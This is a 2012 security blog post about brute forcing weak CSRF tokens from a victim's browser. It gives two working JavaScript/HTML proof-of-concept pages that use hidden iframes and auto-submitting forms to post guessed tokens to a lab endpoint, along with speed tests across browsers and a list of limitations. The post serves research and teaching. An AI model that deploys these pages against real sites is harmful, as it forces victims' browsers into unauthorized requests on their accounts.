Saturday, 24 November 2012

Client-side CSRF Token Brute Forcing


While playing around with some CSRF examples the idea of client-side CSRF token brute forcing came into my head. I'd never heard of this type of attack before and did some Googling. I was interested to see that although the attack was known about there was very little in terms of proof of concept code or in-depth research. I decided to dig further into this area and play with a few examples.

Note: This is the second part of a journey into CSRF. To learn more about the basics of CSRF please check out my previous post here: http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html


TL;DR
Create a page containing malicious javascript, when someone visits the page the javascript runs forcing the user to send requests to brute force their own CSRF token on a remote site. Win!


Stuff you'll need

To actually play with the examples below you'll need:
  • A web server running on your machine - Apache on Linux or Xampp (which contains Apache) on Windows.
  • Code editor. I use Notepad++ but there's also the classics vim, gedit, emacs :)
  • Debugging tools. Browser developer tools - Chrome (right click inspect element), IE (press F12) and Firefox (Firebug or HttpFox). Or you could use Burp or Zap (although they can slow things down). Also Wireshark is handy for more low level investigation.
  • A CSRF example to actually attack. I used Debasish Mandal's simple CSRF example here: http://www.debasish.in/2012/06/bypassing-csrf-protectionbrute-force.html


What is client-side CSRF token brute forcing?

CSRF prevention often involves the use of a unique token to prevent the attacker from crafting a valid request ahead of time. While the attacker may not be able to directly access this token, they may be able to just guess or brute force the token instead.

Client-side CSRF brute forcing uses the same concept as traditional token brute forcing i.e. iterating through possible token values until we find a valid token, but combined with CSRF. So instead of sending requests from our attacking machine to the remote server with our cookie, we get the target user to send multiple requests to the remote server with their cookie. Eventually they will guess the correct token and the malicious request will be accepted by the server.

In a typical brute force attack we'd want to send requests and monitor the responses for an indicator that the attack succeeded. However in a CSRF brute force attack we never receive or even want to receive responses. A subtle point but worth bearing in mind as it can speed up the brute forcing process.

Also note that for this attack to succeed the remote site must be using a weak CSRF token (otherwise it will take too long to brute force) and the target user must be able to run javascript.


Surely someone's done this before?

I checked Google for previous research but couldn't find much. There were lots of articles about the CSS history hack that was around a few years ago (Nice attack but sadly it doesn't work in modern browsers). Also there was a talk from BlackHat 2009 where the guys obtained access to CSRF tokens by taking advantage of information leakage:

 http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf

Again, cool attack, but not what I was looking for. After some more digging I came across two decent posts, one written by Debasish Mandal on his awesome blog and another by Tyler Borland:



Both guys present proof of concept CSRF brute forcers that use iframes to send multiple CSRF post requests with different tokens. Although great scripts neither was optimised for speed or handling thousands of requests. I used both scripts as a starting point for building my brute forcers and modified them to increase their functionality, simplify the code and speed them up.

When running these scripts the developer tools might show errors like "request aborted" or "canceled", these can often be ignored as the requests are actually still being sent. Burp or Wireshark can be used to verify what is actually being sent/received.


Bring on the Javascript!
Example #1

Debasish's script focused on creating a set of iframes that each contained a post request, each iframe would tackle a different CSRF token. Debasish used two files one for the generation script and one for the post form, this increased the volume of code but also the execution time. I combined the two together. 

<html>
<body>
<div id="a">Launching brute csrf...</div>

<script>
//Character sets to use
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");

//Iterate through list
//May need extra for loops for additional character sets
for (var j = 0 ;j<=9;j++)
{
 for (var i = 0 ;i<=9;i++)
 {
 //Create frame
 frame = document.createElement('iframe');
 frame.setAttribute('id','myframe');
 frame.setAttribute('width','0');
 frame.setAttribute('height','0');
 frame.setAttribute('frameborder','0');
 document.body.appendChild(frame);

 //Add post form and javascript to frame
 //Add/remove character sets and positions where appropriate
 frame.contentWindow.document.write('\<script\>function fireform(){document.getElementById("csrf").submit();}\</script\>\<body onload="fireform()"\>\<form id="csrf" method="post" action="http://192.168.1.117/ww/submit.php"\>\<input name="name" value="bill"\>\<input name="phone" value="123456"\>\<input name="email" value="a@a.com"\>\<input name="csrf" value="' + numbers[j] + numbers[i] + '"\>\<input type="submit"\>\</body\>');
 frame.contentWindow.document.close(); 
 }
}
</script>
</body>
</html>


My version is a bit faster and more compact making it easier to test/modify. The biggest issue with this script is that it doesn't scale as each request has it's own iframe. When brute forcing we're going to need to send potentially thousands of requests and creating, adding and loading thousands of iframes just isn't practical.

Using setInterval() it would be possible to process iframes in batches but overall this technique is just not as efficient as Tyler's technique below.


Example #2

Tyler Borland's script was originally designed for denial of service through account lock-outs but I've modified it for brute force. The concept is quite simple, there's a post form that contains a token value, this value is repeatedly incremented and submitted to an iframe. Usually when you post data with a form the page will navigate to the response from the server. By sending our post request to the iframe the iframe will load the response and the user remains on our malicious page allowing the attack to continue! The important variable here is "target" this redirects our post request to the iframe.

Tyler originally used the iframe onload function to automatically send the next request once the current request had completed. Whilst this is a clean and effective technique it's not the fastest. For some reason I was getting a 500ms delay before any response packet was received. I couldn't find the cause of the delay but by removing the onload and implementing a threaded approach with setInterval I was able to send requests at a faster rate. I also added some simple brute force logic, character sets and basic output.


<!DOCTYPE html>
<html>
<body>

<!--Info on progress so far-->
<div id="a">Sending request: <output id="result"></output>

<!--Form that will be submitted-->
<form id="myform" action="/ww/submit.php" target="my-iframe" method="post">
  <input name="name" type="hidden" value="hacked">
  <input name="phone" type="hidden" value="hacked">
  <input name="email" type="hidden" value="hacked">
  <input id="tok" name="csrf" type="hidden" value="">
  <input type="submit"> 
</form>

<script type="text/javascript">

var alphabetlower = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
var alphabetupper = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var alphabetcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var allcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");

var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//OPTION #1 - Without onload
//Function to submit the form once, this is repeatedly called
function submit1(){
 //Assign token value. Can switch numbers array for alphabet array depending on token.
    document.getElementById('tok').value= "" + numbers[k] + numbers[l] + numbers[m];
    //Submit form
 document.getElementById("myform").submit();
 //Show token on page
 document.getElementById('result').innerText = "" + i + j + k + l + m;
 
 //Increment token, reset to 0 when we reach 9 e.g. 009 to 000, L is incremented later
 //For alphabet array 9 needs to be switched for 25
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over at end of set 9 to 0.
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 //Tick over at end of set 9 to 0. 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
}

//Submit form every <x> milliseconds
var task = setInterval("submit1()",10);
//After <x> milliseconds has passed stop submitting form
setTimeout("clearInterval(task);alert('Requests sent: ' + k + l + m);", 10000);


//OPTION #2 - Using onload
//If you want to use iframe with onload, comment out above two lines and uncomment below:
function submit2(){
   
   if(i<100){
 document.getElementById('tok').value=i;
    document.getElementById("myform").submit();
 i++;
 } else{
 var t2=new Date();
 alert('Finished in ' + (t2-t1)/1000 + ' seconds');
 }
}
//submit2();

</script>

<!--OPTION #1 - no onload-->
<iframe id="my-iframe" name="my-iframe"></iframe>
<!--OPTION #2 - using onload-->
<!--<iframe id="my-iframe" name="my-iframe" src="/ww/submit.php" onload="submit2()"></iframe>-->
<!--In Chrome if x-frame-options is set to Deny, the page won't load and onload won't trigger!-->

</body>
</html>


The brute force logic relies on setInterval, setTimeout and global variables as I couldn't get FOR loops to work. I believe this relates to the way the DOM loads content. You essentially need to execute javascript, allow the page to load, then run some more javascript, allow page to load and repeat. I'll stop now as real life web developers are probably cringing at this point, haha, hey I'm no javascript expert!

When testing this code the important parameters are the rate at which requests are sent, controlled by setInterval, and the total run time, which is controlled by setTimeout. Times are in milliseconds so for example 1000 milliseconds = 1 second. Also you will need to change the form's "action" parameter to the page you want to attack.


Example #3 (the mystery prize!)

I've also been working on my own brute force script that uses XHR which I'm going to talk about in a subsequent post, so stay tuned!

What's the performance like?

I tested my modified scripts against Desish's vulnerable page and also a remote site on the net. For each run I calculated the maximum number of requests it was possible to send per second. The results are meant only as a rough guide, as the brute force speed is heavily dependent on the exact code used and a number of external factors.

Edit: Some of these numbers may be a little off as I discovered Chrome/IE were lying to me :) To get accurate numbers I'd recommend checking what packets are actually being sent with Wireshark.











Chrome22 IE9 FF16

Debasish Local 29 25 14


Remote 7 8 7

Tyler Local 60 79 10


Remote 30 30 1









Debasish vs Tyler

The first thing you'll notice is that Tyler's script is a lot faster. Debasish's script spends too much time creating and adding all of the iframes to the DOM and then suddenly tries to load them all creating a bottleneck. Tyler's script however sequentially executes requests one by one making it more CPU/memory/network efficient.

Local vs Remote

The second thing you'll probably notice is that remote requests are a lot slower than local requests.While this is to be expected it's important to emphasize just how much of an issue this is for brute forcing. Forget about fancy protections, latency is the single biggest issue when it comes to online brute force attacks. In most cases it will simply take too long to establish connections for the hundred/thousand/millions requests needed, making brute force unfeasible. Also much like latency, the cap on concurrent connections severely limited throughput. All browsers implement a cap and there is no way around it.

For example when trying to brute force a relatively small five character token consisting of lowercase and uppercase letters and numbers the search space will consist of 62^5 = 916 million possible combinations. Performing 10 requests a second it will take nearly three years to try every combination, uh oh!

Chrome vs IE vs Firefox

The last thing I'll mention is browser differences. Firefox seemed to use some kind of throttling (not sure if this was intentional or just a technical limitation) to prevent the browser from rapidly sending requests. Often requests would be dropped with no explanation.

Chrome and IE both performed really well. I found this surprising as I assumed Chrome would whoop IE but it looks like Microsoft have done a good job with IE9. Averaging 1 request every 17ms ain't easy! For more information on the differences between browsers it's worth checking out: http://www.browserscope.org/?category=network


Hey! What about scaling?

I only did a few quick tests with Tyler's script but it seemed to scale pretty well. As mentioned already Debasish's script will need a re-write to scale properly. Also be aware that when sending a large number of requests you will blow up the developer tools, so disable them!


Are there any limitations?

Yes, quite a few.

Client-side limitations
  • Browser has a max number of concurrent connections
  • User must allow Javascript execution
  • Browser's built in CSRF protections
  • Processing speed of browser
  • Memory of browser

Server-side limitations
  • Latency between browser and web server
  • CSRF protection mechanisms e.g. Referrer/Origin checking
  • Server processing speed
  • Application layer or network layer lock-outs
  • Max number of concurrent connections for your ip
  • ISP may block large number of requests

Quite an ominous looking list. But interestingly the scripts I've covered in this post will still work on weak tokens for sites that do not implement lock-outs or origin checking.


Possible improvements and the future?

I know I said latency was the biggest issue but I think if you take a step back you realise its current CSRF techniques that are the real issue, fundamentally you are limited to the browser and to using javascript.

With that said there is more work that I think can be done with client-side CSRF brute forcing. I had only a limited amount of time to research, develop and test everything and I'm not even a web developer! :) I'd be really interested to see what other folks could do if they carried on developing this code.

Threading was not something I really discussed in this post but the setInterval method and web workers offer a lot of possibilities. Also low level efficiency is really important, opening and closing connections is really inefficient as is waiting for replies. If you could open one connection, pipe data over it and not wait for responses you've got yourself a great candidate for a brute forcer.

Using perl/python/c/java/ruby script you have a lot more flexibility. Unfortunately for CSRF to suceed the request must be performed client side which means that usually others languages can't be used. Or can they? :)


As usual I want to finish this post by saying I'm no expert with CSRF or browser internals so I have likely missed the obvious or done things completely back to front! I enjoy playing around with code and for me its a great learning experience that I want to share with others. If anyone has any ideas, corrections or comments feel free to drop me a comment below.

Cheers,

PwnDizzle

1 comment: